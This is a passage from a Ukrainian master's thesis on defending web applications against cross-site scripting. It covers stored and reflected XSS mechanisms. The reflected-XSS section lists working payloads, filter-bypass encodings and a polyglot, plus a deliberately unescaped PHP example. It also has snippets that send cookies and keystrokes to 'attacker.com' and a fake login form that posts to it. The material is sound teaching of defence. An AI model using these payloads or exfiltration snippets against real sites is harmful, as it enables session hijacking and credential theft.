Київський столичний університет імені Бориса Грінченка
Факультет інформаційних технологій та математики
Кафедра інформаційної та кібернетичної безпеки
імені професора Володимира Бурячка

«Допущено до захисту»
Завідувач кафедри інформаційної та кібернетичної безпеки імені професора Володимира Бурячка
кандидат технічних наук, доцент
Складанний П. М.
_____
(підпис)
« __ » _____ 20__ р.

КВАЛІФІКАЦІЙНА РОБОТА

ДОСЛІДЖЕННЯ МЕТОДІВ ЗАХИСТУ ВІД XSS-АТАК В СУЧАСНИХ ВЕБ-ДОДАТКАХ

на здобуття другого (магістерського) рівня вищої освіти
спеціальність 125 Кібербезпека та захист інформації

Виконав
студент групи БІКСм-124-14
Поліковський Богдан Володимирович
_____
(підпис)

Науковий керівник
кандидат технічних наук, доцент
Соколов Володимир Юрійович
_____
(підпис)

Київ – 2025

РЕФЕРАТ

Вразливість програмного забезпечення – це недолік у системі, що може бути використаний для порушення її цілісності, конфіденційності або доступності. Вразливості можуть виникати на різних етапах життєвого циклу програмного забезпечення – від проектування архітектури до реалізації конкретних функцій та їх розгортання в продуктивному середовищі.

Кваліфікаційна робота присвячена технологіям використання засобів захисту від XSS-атак в системах забезпечення кібербезпеки веб-додатків.

Робота складається зі вступу, трьох розділів, що містять 3 таблиці, висновків та списку використаних джерел, що містить 54 найменування. Загальний обсяг роботи становить 109 сторінок, а також додатки, перелік умовних скорочень та список використаних джерел.

Об'єктом дослідження в роботі є процес забезпечення захисту веб-додатків від міжсайтових скриптових атак (Cross-Site Scripting).

Предметом дослідження є методи та засоби виявлення, запобігання та нейтралізації XSS-атак у сучасних веб-додатках.

Метою роботи є підвищення рівня захищеності веб-додатків шляхом дослідження та впровадження ефективних методів протидії XSS-атакам з урахуванням сучасних векторів загроз та технологій розробки.

Для досягнення поставленої мети у роботі:

– провести аналіз існуючих підходів до класифікації та виявлення XSS-вразливостей у веб-додатках, дослідити статистику інцидентів та оцінити потенційні ризики;
– дослідити особливості реалізації трьох основних типів XSS-атак (відображені, збережені та DOM-based), проаналізувати механізми їх експлуатації та вплив на безпеку користувачів;
– обґрунтувати вибір комплексного підходу до захисту, що включає превентивні заходи на етапі розробки, механізми фільтрації та валідації

вхідних даних, а також застосування політик безпеки контенту (Content Security Policy);

– розробити практичні рекомендації щодо імплементації методів захисту в різних технологічних стеках та провести експериментальне тестування їх ефективності.

Наукова новизна одержаних результатів полягає в тому, що в роботі запропоновано удосконалену методику комплексного захисту веб-додатків від XSS-атак, що враховує специфіку сучасних JavaScript-фреймворків та Single Page Applications, розроблено метод автоматизованого тестування захисних механізмів та отримано експериментальні дані щодо ефективності різних стратегій санітизації користувацького вводу.

Галузь застосування. Запропоновані підходи можуть бути використані для створення захищених веб-додатків у фінансовому, медичному, освітньому секторах, електронній комерції, а також при розробці корпоративних інформаційних систем та державних веб-порталів.

Ключові слова: XSS-АТАКИ, МІЖСАЙТОВИЙ СКРИПТИНГ, ВЕБ-БЕЗПЕКА, САНІТИЗАЦІЯ ДАНИХ, CONTENT SECURITY POLICY, ВАЛІДАЦІЯ ВХІДНИХ ДАНИХ, DOM-BASED XSS, КІБЕРБЕЗПЕКА, ЗАХИСТ ВЕБ-ДОДАТКІВ.

ЗМІСТ

СПИСОК УМОВНИХ ПОЗНАЧЕНЬ, СИМВОЛІВ, ОДИНИЦЬ, СКОРОЧЕНЬ І ТЕРМІНІВ

API – Application Programming Interface – програмний інтерфейс застосунку

ASVS – Application Security Verification Standard – стандарт верифікації безпеки застосунків

CNN – Convolutional Neural Network – згорткова нейронна мережа

CSP – Content Security Policy – політика безпеки вмісту

CSS – Cascading Style Sheets – каскадні таблиці стилів

DL – Deep Learning – глибоке навчання

DOM – Document Object Model – об'єктна модель документа

ES6 – ECMAScript 6 – специфікація мови JavaScript шостої версії

GDPR – General Data Protection Regulation – загальний регламент захисту даних

HTML – HyperText Markup Language – мова розмітки гіпертексту

HTTP – HyperText Transfer Protocol – протокол передачі гіпертексту

HTTPS – HyperText Transfer Protocol Secure – захищений протокол передачі гіпертексту

IDS – Intrusion Detection System – система виявлення вторгнень

IE – Internet Explorer – веб-браузер Internet Explorer

IoT – Internet of Things – Інтернет речей

IPS – Intrusion Prevention System – система запобігання вторгненням

JSON – JavaScript Object Notation – текстовий формат обміну даними на основі JavaScript

JSX – JavaScript XML – синтаксичне розширення JavaScript для React

JVM – Java Virtual Machine – віртуальна машина Java

KNN – K-Nearest Neighbors – метод k-найближчих сусідів

LSTM – Long Short-Term Memory – довга короткострокова пам'ять (тип рекурентної нейронної мережі)

ML – Machine Learning – машинне навчання

NIST – National Institute of Standards and Technology – Національний інститут стандартів і технологій США

NLP – Natural Language Processing – обробка природної мови

OWASP – Open Web Application Security Project – проєкт відкритої безпеки веб-застосунків

PDF – Portable Document Format – портативний формат документів

PHP – Hypertext Preprocessor – мова програмування для веб-розробки

RASP – Runtime Application Self-Protection – самозахист застосунку під час виконання

RF – Random Forest – випадковийліс (алгоритм машинного навчання)

RL – Reinforcement Learning – навчання з підкріпленням

SDLC – Software Development Life Cycle – життєвий цикл розробки програмного забезпечення

SIEM – Security Information and Event Management – управління інформацією та подіями безпеки

SQL – Structured Query Language – мова структурованих запитів

SVM – Support Vector Machine – метод опорних векторів

SVG – Scalable Vector Graphics – масштабована векторна графіка

URL – Uniform Resource Locator – уніфікований локатор ресурсів

WAF – Web Application Firewall – міжмережевий екран веб-застосунків

XSS – Cross-Site Scripting – міжсайтовий скриптинг

ВСТУП

Актуальність роботи. У сучасному цифровому світі веб-додатки стали невід'ємною частиною бізнес-процесів, державного управління, освіти та повсякденного життя мільярдів людей. За даними Internet Live Stats [1], станом на 2025 рік в мережі Інтернет функціонує понад 1,9 мільярда веб-сайтів, через які щодня проходять трильйони транзакцій, передаються петабайти конфіденційної інформації та здійснюються критично важливі операції. Однак паралельно зі зростанням функціональності та складності веб-додатків зростає й кількість загроз їх безпеці.

Серед найпоширеніших та найнебезпечніших вразливостей веб-додатків особливе місце займають атаки міжсайтового скриптингу (Cross-Site Scripting, XSS). Згідно з дослідженням OWASP Top 10 Web Application Security Risks 2021, XSS входить до категорії A03:2021 – Injection, яка залишається однією з найкритичніших загроз веб-безпеці. За статистикою платформи HackerOne [2], у 2023-2024 роках XSS-вразливості становили близько 18% всіх виявлених проблем безпеки у веб-додатках, що робить їх другою за поширеністю категорією вразливостей після проблем з контролем доступу [3].

Фінансові наслідки успішних XSS-атак є вкрай значними. За оцінками IBM опублікованими в Security Cost of a Data Breach Report 2024, середня вартість інциденту безпеки, пов'язаного з веб-вразливостями, становить 4,45 мільйона доларів США [4]. XSS-атаки дозволяють зловмисникам викрадати облікові дані користувачів, сесійні токени, персональні дані, здійснювати фішинг, розповсюджувати шкідливе програмне забезпечення та маніпулювати контентом веб-сторінок [5]. Особливо критичними є наслідки XSS-атак у фінансовому секторі, системах охорони здоров'я, електронній комерції та державних порталах, де компрометація може призвести до масштабних витоків даних та підриву довіри користувачів.

Проблема XSS зберігає свою актуальність, оскільки зловмисники постійно змінюють і обфускують вектори атак, що ускладнює їхнє виявлення традиційними

сигнатурними інструментами[6]. Також захист від XSS-атак ускладнюється кількома факторами. По-перше, сучасні веб-додатки характеризуються високою складністю архітектури, активним використанням JavaScript-фреймворків (React, Angular, Vue.js) та концепції Single Page Applications (SPA), що створює нові вектори атак, зокрема DOM-based XSS. По-друге, традиційні методи захисту, такі як простий blacklist-фільтрування або регулярні вирази, виявляються неефективними проти сучасних техніок обходу, включаючи mutation XSS та polyglot payloads. По-третє, недостатня обізнаність розробників щодо принципів безпечного кодування призводить до постійного виникнення нових вразливостей.

Аналіз наукових публікацій останніх років показує активний розвиток досліджень у напрямку виявлення та запобігання XSS-атакам. Зокрема, систематичний огляд, проведений дослідниками у 2024 році, охопив понад 300 наукових праць та виявив тенденцію до збільшення застосування методів машинного навчання для детекції XSS. Дослідження, опубліковані у наукових виданнях демонструють ефективність використання Random Forest, XGBoost, CNN та інших алгоритмів для класифікації шкідливого коду. Водночас, дослідження ефективності бібліотек санітизації HTML залишається фрагментованим, а комплексні порівняльні експерименти для різних технологічних платформ практично відсутні.

Важливим аспектом забезпечення захисту є дотримання загальновизнаних стандартів та рекомендацій інформаційної безпеки. Стандарт NIST SP 800-53 «Security and Privacy Controls for Federal Information Systems and Organizations» надає комплексний набір контролів безпеки, серед яких контролі сімейств SI (System and Information Integrity) та SC (System and Communications Protection) безпосередньо стосуються захисту від ін'єкційних атак, включаючи XSS. Проте питання практичної інтеграції контролів NIST SP 800-53 з конкретними технологічними рішеннями захисту від XSS потребує додаткового дослідження.

Таким чином, актуальність даної роботи обумовлена критичною важливістю проблеми XSS-атак для сучасних веб-додатків, необхідністю комплексного

дослідження методів захисту з урахуванням специфіки сучасних технологій веб-розробки, відсутністю систематичних експериментальних досліджень ефективності популярних бібліотек санітизації та потребою у практичних рекомендаціях щодо впровадження захисних механізмів відповідно до вимог міжнародних стандартів безпеки.

Зв'язок роботи з науковими програмами, планами, темами. Дослідження виконується в межах наукових напрямків кафедри кібербезпеки та захисту інформації і пов'язане з тематикою досліджень у галузі веб-безпеки, аналізу вразливостей та розробки захисних механізмів для інформаційних систем.

Метою роботи є підвищення рівня захищеності веб-додатків шляхом дослідження та впровадження ефективних методів протидії XSS-атакам з урахуванням сучасних векторів загроз та технологій розробки. Для досягнення поставленої мети необхідно вирішити наступні **завдання**:

1. Провести аналіз існуючих підходів до класифікації та виявлення XSS-вразливостей у веб-додатках, дослідити статистику інцидентів безпеки та оцінити потенційні ризики для різних категорій веб-додатків.

2. Дослідити особливості реалізації трьох основних типів XSS-атак (відображені, збережені та DOM-based), проаналізувати механізми їх експлуатації, вивчити сучасні техніки обходу захисних механізмів та оцінити вплив на безпеку користувачів.

3. Проаналізувати застосування контролів стандарту NIST SP 800-53 для захисту від XSS-атак, обґрунтувати вибір комплексного підходу до захисту, що включає превентивні заходи на етапі розробки, механізми фільтрації та валідації вхідних даних, санітизацію HTML, а також застосування політик безпеки контенту (Content Security Policy).

4. Провести експериментальне дослідження ефективності бібліотек санітизації для платформ JavaScript (DOMPurify, js-xss, sanitize-html) та Java (OWASP Java HTML Sanitizer) на основі комплексного набору тестових XSS-пейлоадів з оцінкою показників detection rate, ресурсоємність та продуктивності.

5. Розробити практичні рекомендації щодо вибору та імплементації методів захисту від XSS-атак в різних технологічних стеках, конфігурування бібліотек санітизації та побудови політик Content Security Policy для сучасних веб-додатків.

Об'єкт дослідження – процес забезпечення захисту веб-додатків від міжсайтових скриптових атак (Cross-Site Scripting). **Предмет дослідження** - методи та засоби виявлення, запобігання та нейтралізації XSS-атак у сучасних веб-додатках, зокрема бібліотеки санітизації HTML та політики безпеки контенту.

Методи дослідження. Для вирішення поставлених завдань у роботі використовувалися наступні методи:

- метод аналітичного огляду для систематизації наукових публікацій, технічної документації та стандартів інформаційної безпеки;
- методи порівняльного аналізу для оцінки різних підходів до захисту від XSS-атак та класифікації існуючих рішень;
- експериментальні методи для тестування ефективності бібліотек санітизації на наборах тестових даних;
- методи benchmarking для вимірювання продуктивності бібліотек санітизації;
- статистичні методи аналізу для обробки результатів експериментів, застосування моделі багатокритеріального аналізу та оцінки статистичної значущості відмінностей між різними рішеннями;

Наукова новизна одержаних результатів. Наукова новизна результатів полягає в наступному:

- вперше запропоновано удосконалену методику комплексного захисту веб-додатків від XSS-атак, що враховує специфіку сучасних JavaScript-фреймворків та архітектури Single Page Applications, інтегрує багаторівневий підхід з санітизацією вхідних даних та політиками Content Security Policy;
- розроблено метод автоматизованого тестування ефективності захисних механізмів від XSS-атак з використанням комплексного набору тестових даних, що включає класичні вектори атак, obfuscated payloads, context-specific

bypasses та polyglot XSS, з застосуванням метрик machine learning для оцінки якості захисту;

– отримано експериментальні дані щодо ефективності чотирьох популярних бібліотек санітизації HTML (DOMPurify, js-xss, sanitize-html для JavaScript; OWASP Java HTML Sanitizer) з кількісною оцінкою, що дозволяє здійснювати обґрунтований вибір рішення для конкретних сценаріїв використання;
– дістало подальший розвиток застосування стандарту NIST SP 800-53 (зокрема SI-10, SI-15, SC-2, SC-3) для забезпечення захисту веб-додатків від XSS-атак шляхом розробки матриці відповідності до конкретних технічних рішень та практичних рекомендацій з імплементації.

Теоретичне та практичне значення одержаних результатів. Результати дослідження мають безпосереднє практичне застосування для підвищення рівня безпеки веб-додатків. Розроблені рекомендації щодо вибору бібліотек санітизації можуть бути використані розробниками на етапі проектування архітектури безпеки веб-додатків. Експериментально отримані дані про ефективність та продуктивність різних бібліотек санітизації дозволяють приймати обґрунтовані технічні рішення з урахуванням специфічних вимог проекту (балансу між безпекою та зручністю використання, вимог до продуктивності, обмежень технологічного стеку).

Запропонована методика комплексного захисту може бути впроваджена в процеси розробки (SDLC) організацій, що створюють веб-додатки, для систематичного запобігання виникненню XSS-вразливостей. Практичні приклади конфігурації бібліотек санітизації та побудови політик Content Security Policy можуть використовуватися як референсні рішення при розробці нових проектів або при модернізації існуючих систем.

Матриця відповідності NIST SP 800-53 до технічних рішень захисту від XSS може бути корисною для організацій, що прагнуть до відповідності з міжнародними

стандартами інформаційної безпеки, зокрема при проходженні аудитів безпеки або при підготовці до сертифікації за ISO/IEC 27001.

Результати дослідження можуть також використовуватися для безпечної розробки програмного забезпечення та управління інформаційною безпекою.

Галузь застосування. Результати роботи можуть бути застосовані при розробці та модернізації веб-додатків у таких галузях:

- фінансовий сектор (інтернет-банкінг, платіжні системи, фінансові маркетплейси);
- освітній сектор (системи дистанційного навчання, електронні журнали, освітні платформи);
- електронна комерція (інтернет-магазини, маркетплейси, системи онлайн-бронювання);
- корпоративні інформаційні системи (портали для співробітників, системи документообігу, CRM);
- державні веб-портали (електронні сервіси для громадян, системи електронного урядування);
- соціальні мережі та платформи комунікацій;
- медіа та видавничі платформи (новинні сайти, системи управління контентом).

Апробація результатів дипломної роботи. Основні положення та результати дослідження були представлені на:

III міжнародній науково-практичній конференції «Сучасні аспекти діджиталізації та інформатизації в програмній та комп'ютерній інженерії»

Розділ 1 АНАЛІЗ ПРОБЛЕМИ XSS-АТАК ТА ОГЛЯД МЕТОДІВ ЗАХИСТУ

1.1 Класифікація та механізми XSS-атак

1.1.1 Збережені XSS-атаки

Збережені (Stored) XSS-атаки, також відомі як постійні або Type-II XSS, являють собою найнебезпечнішу форму міжсайтового скриптингу. За класифікацією OWASP, stored XSS визнається найбільш руйнівним типом XSS-атак через їх здатність впливати на велику кількість користувачів без необхідності індивідуального таргетування жертв.

Фундаментальна відмінність stored XSS від reflected XSS полягає в тому, що шкідливий код постійно зберігається на сервері веб-додатку. Це може бути база даних, файлова система, кеш, логи або будь-яке інше серверне сховище даних. Після збереження шкідливий скрипт автоматично доставляється всім користувачам, які переглядають сторінку з інфікованим контентом, без необхідності додаткових дій з боку атакуючого.

Механізм stored XSS-атаки реалізується через послідовність чотирьох етапів. Спочатку атакуючий використовує будь-яку форму введення даних у веб-додатку для впровадження JavaScript коду. Типовими точками входу є форми коментарів на блогах та форумах, профілі користувачів у соціальних мережах, огляди товарів в інтернет-магазинах, гостьові книги, системи обміну повідомленнями та поля налаштувань облікових записів [6]. На другому етапі веб-додаток приймає дані від атакуючого і зберігає їх у базі даних або іншому сховищі без належної санітизації або валідації. Третій етап характеризується автоматичною доставкою шкідливого коду до жертв, коли будь-який користувач запитує сторінку, що містить збережені дані. Сервер витягує їх зі сховища та включає в HTTP-відповідь [7]. На завершальному етапі браузер отримує HTML-відповідь, яка містить шкідливий JavaScript, і виконує його, оскільки він походить від довіреного домену.

Ключовою характеристикою механізму є його самодостатність. На відміну від reflected XSS, де потрібно змусити жертву перейти за шкідливим посиланням, ця техніка не потребує зовнішніх векторів доставки. Атакуючий один раз впроваджує щкідливий код у систему, і після цього атака відбувається автоматично для всіх відвідувачів інфікованої сторінки. Ще однією важливою особливістю є гарантоване виконання в правильному контексті. При reflected XSS існує проблема синхронізації, оскільки жертва може перейти за посиланням, коли не авторизована в системі. Однак, код виконається саме тоді, коли користувач буде авторизований, оскільки жертва відвідує легітимну сторінку як частину нормальної роботи з додатком.

Складність також посилюється різноманітністю як точок входу, так і точок виходу. Крім прямого user input через веб-форми, дані можуть надходити з email у webmail додатках, імпортуватися з інших систем, надсилатися через API endpoints, міститися в назвах файлів та метаданих завантажених файлів, а також надходити через out-of-band вектори, такі як логи, аналітичні дані та інтеграції з третіми сторонами. Збережені дані можуть відображатися на публічних сторінках блогів та форумів, у приватних профілях користувачів, в адміністративних панелях, email-нотифікаціях, мобільних додатках, PDF-звітах та експортованих документах, а також у RSS-фідах та XML API відповідях.

Деякі веб-додатки виконують трансформацію даних перед збереженням або відображенням, що може як захищати від XSS, так і створювати нові вектори атак, якщо реалізовано неправильно. До таких трансформацій належать конвертація Markdown в HTML, парсинг BBCode, автоматичне створення посилань з URL, форматування тексту та видалення небезпечних тегів. Атакуючі часто використовують вкладені теги для обходу простих фільтрів, коли система блокує тег script, але не враховує можливість вкладеного конструювання типу scr<script>ipt, яке після фільтрації перетворюється на валідний тег script.

Персистентність є визначальною характеристикою stored XSS, що робить цей тип атак особливо небезпечним порівняно з іншими формами міжсайтового скриптингу.

Тривалість існування загрози принципово відрізняється від reflected XSS. Якщо при атаках із застосуванням відображених XSS шкідливий код існує лише протягом одного HTTP запиту-відповіді, то збережені XSS залишаються активними необмежений період часу, доки інфікований запис не буде видалений з бази даних, не відбудеться санітизація збережених даних або не буде виявлена та усунута вразливість [7].

Особливо небезпечними є випадки, коли XSS впроваджений у профілі адміністратора системи, який щодня переглядається, що призводить до систематичної щоденної компрометації протягом років.

Також створюється ефект автоматичної реінфекції, який можна порівняти з вірусною атакою. Найвідомішим прикладом є Samy worm, створений у 2005 році, який за 20 годин інфікував понад один мільйон профілів MySpace. Механізм самопоширення реалізується через код, який не лише викрадає дані поточного користувача та його контактів, але й автоматично впроваджує копію себе у профіль жертви та надсилає шкідливі посилання всім контактам цього користувача. Такий підхід створює експоненційне зростання кількості інфікованих користувачів.

Особливою формою stored XSS є blind XSS, де атакуючий не має прямого доступу до сторінки, на якій виконується код. Типовими сценаріями є форми зворотного зв'язку, де користувач надсилає повідомлення з XSS, а адміністратор переглядає його в адмін-панелі, що призводить до компрометації адміністраторського облікового запису. Іншим прикладом є логування помилок, коли атакуючий генерує помилку з XSS в User-Agent заголовку, а розробник пізніше переглядає логи через веб-інтерфейс. Також поширені випадки через форми для завантаження резюме, коли кандидат завантажує CV з вбудованим XSS, а HR менеджер відкриває його через систему управління персоналом.

Навіть після виявлення та видалення персистентність може зберігатися через системи, де резервні копії містять інфікований контент і відновлення зі збереженної копії повертає всі видалені XSS навантаження. Кеші та CDN можуть зберігати

інфікований контент, і навіть після очищення бази даних кеш продовжує віддавати старі дані. У розподілених системах з реплікацією майстер-база може бути очищена, але репліки все ще містять інфіковані дані, що призводить до можливого повернення шкідливого контенту при запитах читання [7]. Крім того, архіви зберігають історичні записи з навантаженнями, які залишаються в системі навіть після видалення основних даних.

Персистентність призводить до довгострокових кумулятивних наслідків. Stored XSS демонструє найбільший потенціал для масштабних наслідків серед усіх типів XSS. Кількісний масштаб ураження залежить від популярності інфікованої сторінки та тривалості існування вразливості.

Вплив на різні категорії користувачів варіюється залежно від розміщення XSS у додатку. Публічні коментарі на популярному блозі вражають звичайних читачів з низьким рівнем привілеїв, потенційно впливаючи на десятки тисяч користувачів з середньою цінністю даних у вигляді cookies та особистої інформації. Повідомлення в системі технічної підтримки цілять співробітників підтримки з середнім рівнем привілеїв та доступом до даних клієнтів, впливаючи на сотні осіб, але з високою цінністю конфіденційних даних користувачів. Найнебезпечнішим є XSS у профілях в адміністративній панелі, що вражає невелику кількість адміністраторів з максимальним рівнем привілеїв, надаючи критичну цінність даних у вигляді повного контролю системи.

Збережені XSS часто є початковою точкою для ланцюгових атак більшої складності. Початково компрометує користувача та викрадає його сесійний токен, який потім використовується для API доступу та отримання додаткових персональних даних, включаючи email та телефон. Ці дані можуть бути використані для фішингової атаки на електронну пошту жертви. Якщо скомпрометований користувач виявляється адміністратором, атакуючий може створити новий аккаунт з адміністраторськими правами для постійного доступу до системи [10].

Фінансовий вплив включає прямі фінансові втрати через викрадення платіжної інформації в e-commerce системах, credentials для інтернет-банкінгу та private keys криптовалютних гаманців. Показовим є випадок British Airways у 2018 році, коли через XSS у формі оплати було викрадено дані близько 380 тисяч платіжних карт, що призвело до штрафу GDPR у розмірі 20 мільйонів фунтів стерлінгів та репутаційних втрат близько 500 мільйонів фунтів. Регуляторні штрафи варіюються залежно від юрисдикції та включають до 20 мільйонів євро або 4 відсотки річного обороту за GDPR у Європі, від 2,5 до 7,5 тисяч доларів за кожне порушення за CCPA у Каліфорнії, від 100 до 50 тисяч доларів за запис у медичному секторі за HIPAA та від 5 до 100 тисяч доларів щомісяця до досягнення відповідностого рівня безпеки.

Масштабування через інтегровані системи демонструє здатність XSS поширюватися за межі первинно ураженої системи. Довгострокове поширення має ефект «довгого хвоста» з трьома фазами. На першому тижні відбувається швидке зараження 80 відсотків активних користувачів з високою інтенсивністю атак. Протягом наступних шести місяців повільне зараження додаткових 15 відсотків відбувається за рахунок неактивних користувачів, які повертаються, та автоматичної фонової компрометації. Залишковий період понад рік охоплює останні 5 відсотків через нових користувачів, відновлення з резезвних копій та доступ до архівів, що в кумулятивному підсумку дає 100-відсоткове охоплення.

Цей тип атаки може бути використана для промислового шпигунства в B2B платформах постачальників, де викрадання комерційної інформації включає цінову інформацію, деталі постачальників, умови оплати та обсяги контрактів. Наслідки такої атаки включають втрату конкурентних переваг, розкриття цінової інформації конкурентам, компрометацію клієнтської бази та викриття стратегічних планів організації.

Узагальнюючи, stored XSS демонструє найбільший масштаб впливу серед усіх типів XSS через автоматичну доставку до всіх відвідувачів інфікованих сторінок, персистентність що дозволяє атаці тривати роками, можливості самопоширення для

створення самовідтворюваних атак, здатність компрометувати привілейовані облікові записи, каскадний ефект через інтегровані системи та довгостроковий кумулятивний вплив на організацію. Це робить його найнебезпечнішою формою міжсайтового скриптингу та критичною загрозою, що потребує першочергової уваги при розробці захисних механізмів.

1.1.2 Відображені XSS-атаки

Відображені (Reflected) XSS-атаки, також відомі як непостійні або Type-I XSS-атаки, є найпростішою та найпоширенішою формою міжсайтового скриптингу. Згідно з дослідженням CWE Top 25 for 2024, XSS залишається найнебезпечнішою категорією вразливостей, що призвели до виявлення критичних проблем безпеки у період з середини 2023 до середини 2024 року. За даними платформи YesWeHack, XSS вразливості є найчастішим типом помилок безпеки, що зустрічаються у Bug Bounty програмах.

Механізм reflected XSS-атаки полягає у відображенні некоректно обробленого користувацького вводу назад у відповіді сервера. На відміну від stored XSS, де шкідливий код зберігається на сервері постійно, reflected XSS виконується в рамках одного циклу запит-відповідь. Атака відбувається наступним чином:

1. Атакуючий створює шкідливе посилання (URL), яке містить JavaScript код у параметрах запиту. Наприклад:

https://vulnerable-site.com/search?query=<script>malicious_code</script>

2. Жертва переходить за цим посиланням, як правило, через фішинговий email, повідомлення у соціальних мережах або на скомпрометованому сторонньому сайті.

3. Вразливий веб-додаток отримує запит і включає значення параметра query безпосередньо у HTML-відповідь без належної санітизації або екранування.

4. Браузер жертви отримує відповідь, яка містить шкідливий скрипт, і виконує його, оскільки він походить від «довіреного» сервера.

5. Шкідливий код виконується в контексті браузера жертви з повним доступом до DOM, cookies, локадьного сховища браузера та інших ресурсів в межах одного сайту.

Ключовою особливістю reflected XSS є те, що шкідливий код не зберігається на сервері – він «відбивається» від веб-сервера назад до браузера користувача. Це робить атаку менш небезпечною порівняно зі stored XSS у плані масштабу ураження, проте вона залишається критичною загрозою, оскільки не потребує складних технічних навичок для експлуатації і може бути легко автоматизована.

Типова вразливість reflected XSS виникає у наступних місцях веб-додатку:

- поля пошуку, де пошуковий запит відображається на сторінці результатів;
- повідомлення про помилки, які включають параметри з URL;
- форми входу, де неправильні дані входу відображаються користувачу;
- URL-параметри, які використовуються для побудови динамічного контенту сторінки;
- HTTP-заголовки (User-Agent, Referer), якщо вони відображаються в інтерфейсі.

Розглянемо простий приклад вразливого коду на PHP:

```
php
<?php
$search_query = $_GET['query'];
echo "<p>Результати пошуку для: " . $search_query . "</p>";
?>
```

У цьому коді значення параметра query виводиться безпосередньо без екранування спеціальних HTML-символів. Атакуючий може створити URL:

```
https://example.com/search.php?query=<script>alert(document.cookie)</script>
```

Коли жертва перейде за цим посиланням, браузер отримає відповідь:

```
html
<p>Результати пошуку для: <script>alert(document.cookie)</script></p>
```

Браузер виконає JavaScript код, який у цьому прикладі виведе вміст cookies. У реальних атаках замість простого alert() використовуються більш складні варіанти для викрадення даних, перехоплення сесій або виконання дій від імені користувача які надсилаються на віддалений сервер зловмисника.

Такі атаки можуть використовувати різноманітні вектори та техніки обходу захисних механізмів. Розглянемо основні категорії та методів експлуатації.

Базові шкідливі навантаження для тестування:

Найпростішим способом перевірки вразливості є використання тегу <script>:

html

<script>alert('XSS')</script>

<script>alert(document.domain)</script>

<script>alert(document.cookie)</script>

Альтернативні теги та атрибути для обходу фільтрів:

html

<img src=x onerror=alert('XSS')>

<svg onload=alert('XSS')>

<body onload=alert('XSS')>

<iframe src="javascript:alert('XSS')">

<input onfocus=alert('XSS') autofocus>

<select onfocus=alert('XSS') autofocus>

<textarea onfocus=alert('XSS') autofocus>

<marquee onstart=alert('XSS')>

Викрадення cookies та session hijacking:

Одним з найнебезпечніших сценаріїв є викрадення сесійних cookies користувача. Якщо cookies не мають атрибута HttpOnly, їх можна прочитати через JavaScript:

javascript

<script>

var xhr = new XMLHttpRequest();

```
xhr.open('GET', 'https://attacker.com/steal?cookie=' + document.cookie, true);
xhr.send();
</script>
```

Альтернативний варіант через створення зображення:

```
javascript
<script>
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
```

Keylogging та перехоплення вводу:

Атакуючий може впровадити код, який відслідковує всі натискання клавіш користувача:

```
javascript
<script>
document.onkeypress = function(e) {
   var xhr = new XMLHttpRequest();
   xhr.open('GET', 'https://attacker.com/log?key=' + e.key, true);
   xhr.send();
};
</script>
```

Фішинг через модифікацію DOM:

Reflected XSS дозволяє змінювати вміст сторінки для проведення таргетованих фішингових атак:

```
javascript
<script>
document.body.innerHTML = `
   <h2>Термін дії сесії закінчився</h2>
   <form action="https://attacker.com/phish" method="POST">
      <input type="text" name="username" placeholder="Логін">
```

```
        <input type="password" name="password" placeholder="Пароль">
        <input type="submit" value="Увійти">
    </form>
`;
</script>
```

Обхід WAF та фільтрів:

Сучасні Web Application Firewall (WAF) часто блокують прості XSS шкідливі навантаження. Для обходу використовуються різні техніки обфускації:

Використання різних кодувань:

html

```
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
<!-- Декодується в: alert('XSS') -->
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">
<!-- HTML entity encoding -->
<img src=x onerror="eval(atob('YWxlcnQoJ1hTUycp'))">
<!-- Base64 encoding: alert('XSS') -->
```

Використання альтернативного синтаксису JavaScript:

html

```
<script>window['alert'](document['cookie'])</script>
<script>top['alert'](1)</script>
<script>self['alert'](1)</script>
```

Шкідливе навантаження типу Polyglot - це спеціально створені рядки, які можуть виконуватися в різних контекстах (HTML, JavaScript, CSS):

javascript

javascript:"/*'/*`/*--
></noscript></title></textarea></style></template></noembed></script><html \"
onmouseover=/*<svg/*/onload=alert()//>

Експлуатація у різних контекстах:

HTML context:

html

<!-- Вразливий код --> Search results for: USER_INPUT

<!-- Payload --> <script>alert('XSS')</script>

Attribute context:

html

<!-- Вразливий код --><input type="text" value="USER_INPUT">

<!-- Payload -->" onfocus="alert('XSS')" autofocus="

JavaScript context:

html

<!-- Вразливий код --><script>var search = 'USER_INPUT';</script>

<!-- Payload -->'; alert('XSS'); var dummy='

URL context:

html

<!-- Вразливий код -->Click here

<!-- Payload -->javascript:alert('XSS')

Автоматизовані атаки з Reflected XSS можуть бути використані для створення самопоширюваних програм, який автоматично надсилає себе всім контактам користувача.

Аналіз реальних інцидентів безпеки демонструє серйозність загрози reflected XSS та різноманітність сценаріїв їх експлуатації.

Facebook неодноразово стикався з reflected XSS вразливостями, що демонструє складність захисту великомасштабних соціальних мереж.

Вразливість у мобільній версії Facebook дозволяла впроваджувати шкідливий код через інтерфейс публікації історій. Була дозволена автоматична публікація від імені користувача:

```
javascript
https://m.facebook.com/story.php?story_fbid=<script>
// Автоматична публікація від імені користувача
FB.api('/me/feed', 'POST', {
   message: 'Compromised post with malicious link...'
});
</script>
```

Reflected XSS в обробці HTML на вірусних сторінках використовувався для розповсюдження фішингових атак та malware. Створювались посилання, які швидко поширювались через соціальну мережу:

```
https://www.facebook.com/pages/viral_page?content=<svg/onload=alert('Malicious')>
```

Вразливість у channel page Facebook для управління сесіями. Оновлений код змінював поведінку сторінки, що дозволяло:

- перехоплювати OAuth tokens;
- модифікувати запити до API;
- впроваджувати persistent backdoors через модифікацію Service Workers.

У всіх випадках Facebook оперативно реагував та виправляв вразливості, але ці інциденти підкреслюють постійну необхідність безпекового аудиту навіть у найбільших технологічних компаніях.

Цей випадок демонструє важливість:

- регулярного аудиту всіх сторінок, включаючи застарілий код;
- деактивації або видалення невикористовуваних ендпоінтів;
- моніторингу всієї поверхні атак, а не лише активно використовуваних компонентів.

Аналіз реальних інцидентів reflected XSS демонструє кілька ключових моментів:

1. Масштаб впливу: навіть проста відображена XSS вразливість може мати серйозні наслідки для мільйонів користувачів великих платформ.

2. Різноманітність векторів: може виникати в різних місцях веб-додатків – від параметрів пошуку до систем аутентифікації.

3. Ланцюги атак: часто використовується в комбінації з іншими вразливостями для досягнення більшого ефекту.

4. Social engineering: успішна експлуатація часто потребує введення користувача в омвну для переходу за шкідливим посиланням.

